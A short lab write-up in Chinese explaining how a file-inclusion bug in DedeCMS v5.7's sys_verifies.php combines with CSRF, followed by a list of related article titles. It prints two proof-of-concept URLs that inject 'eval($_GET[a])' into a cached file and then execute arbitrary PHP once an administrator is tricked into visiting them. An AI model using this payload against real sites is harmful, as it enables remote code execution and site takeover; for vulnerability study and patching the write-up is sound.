DedeCMS v5.7 通過檔案包含和CSRF的配合利用
該靶場使用了 DedeCMS v5.7 ,所以將其原始碼下載,進行程式碼審計。
檔案包含漏洞出現在 /dede/sys_verifies.php 檔案中,來看程式碼:
如上圖,當請求引數action的值為"getfiles"時,程式會在 /data 目錄下生成檔案 modifytmp.inc 並寫入內容,而寫入的內容是我們可以控制的,可通過新增GET請求引數refiles來控制。
要想利用這個 modifytmp.inc 檔案,還得在程式碼中找一處包含該檔案的地方。而同一原始碼檔案的下面就有,如下圖:
於是,便可以構造poc 如下:
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_GET[a]);die();//
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=down&a=phpinfo();
然後管理員先訪問第一個連結,然後訪問第二個連結,結果如下:
PS:因為 sys_verifies.php 的程式碼中,會有許可權檢查,如果不是管理員的話是不能執行下面的程式碼的,會直接返回登入頁面或者提示沒有許可權。
相關文章
- 檔案包含漏洞(本地包含配合檔案上傳)
- DeDeCMS v5.7 密碼修改漏洞分析密碼
- 利用pearcmd實現裸檔案包含
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- 檔案包含漏洞(繞過姿勢)
- PHP本地檔案包含漏洞環境搭建與利用PHP
- dedecms主要類檔案
- DVWA檔案包含全等級繞過方法
- 解決ajax傳送Formdata資料包含檔案和text資料,spring後臺無法通過MultipartFile拿到檔案ORMSpring
- Javascript 基礎夯實 —— 通過程式碼構建一個包含檔案的 FormData 物件JavaScriptORM物件
- Shell 檔案包含
- 檔案包含2
- CTFer——檔案包含
- 檔案包含之包含了Linux檔案描述符Linux
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- 通過trace檔案重新建立控制檔案
- 檔案的複製通過字元流和緩衝流(Buffered)字元
- PHP檔案包含 整理PHP
- 檔案包含漏洞示例
- 包含檔案(Include file)
- C# 利用 DbUp 通過多個SQL Script檔案完成對資料庫的更新C#SQL資料庫
- 通過配置檔案(.htaccess)實現檔案上傳
- Qt通過Http上傳檔案(路過)QTHTTP
- 搜尋檔案下包含某個字串的檔案字串
- html檔案中包含其他檔案的方法大全HTML
- 前端通過 post 下載檔案前端
- 通過SQL查詢UDUMP檔案SQL
- Windows通過hosts檔案解析域名Windows
- 通過idl得到.h檔案
- 刪除表空間和表空間包含的檔案
- 遠端檔案包含shell
- PHP基礎---檔案包含PHP
- 檔案包含漏洞小結
- [web安全] 檔案包含漏洞Web
- Linux程式間通訊中的檔案和檔案鎖Linux
- Spring MVC 通過 @PropertySource和@Value 來讀取配置檔案SpringMVC
- 通過web url獲取檔案資訊Web
- 通過 hosts檔案配置本地域名